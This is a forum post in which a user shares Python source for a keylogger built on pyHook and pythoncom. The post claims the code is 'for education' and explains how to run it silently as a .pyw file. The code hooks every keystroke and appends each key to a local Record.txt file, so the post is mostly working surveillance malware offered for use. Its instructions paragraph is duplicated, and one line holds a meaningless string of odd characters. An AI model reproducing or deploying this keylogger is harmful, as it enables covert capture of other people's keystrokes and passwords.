r0b0t1
Active Member
- Joined
- Jan 23, 2007
- Sythe Gold
- 0
- Messages
- 124
I made this for education, no intents or harm intended. Also, to my knowledge, this is not against the rules. Because YOU MUST CONCIOUSLY EXECUTE IT.
To use it you must have python, pyHook, and pythoncom. You can save it as .py to show the key presses, or .pyw to run silent with no console. (if you do latter, make sure to control>alt>delete to stop it) it makes a file in the directiory you saved it in. I can't upload .py or .pyw files. so here it is.
To use it you must have python, pyHook, and pythoncom. You can save it as .py to show the key presses, or .pyw to run silent with no console. (if you do latter, make sure to control>alt>delete to stop it) it makes a file in the directiory you saved it in. I can't upload .py or .pyw files. so here it is.
Code:
# -*- coding: Utf-8 -*-
import pythoncom, pyHook, py_compile
#compile the code.
py_compile.compile("keylogger.py")
#main part to record.
def OnKeyboardEvent(event):
open('Record.txt', 'a+').write(event.Key+' ')
print 'MessageName:',event.MessageName
print 'WindowName:',event.WindowName
print 'Key:', event.Key
print 'KeybID:', event.KeyID
print '---------------------------'
# return True to pass on the key to other programs
return True
chin = '灓捡灓捡⁆⁁'+' ″″‴′‵″‴′″'
# error characters.
hookm = pyHook.HookManager()
# all key events events
hookm.KeyDown = OnKeyboardEvent
# set the hook to keyboard
hookm.HookKeyboard()
# wait
pythoncom.PumpMessages()


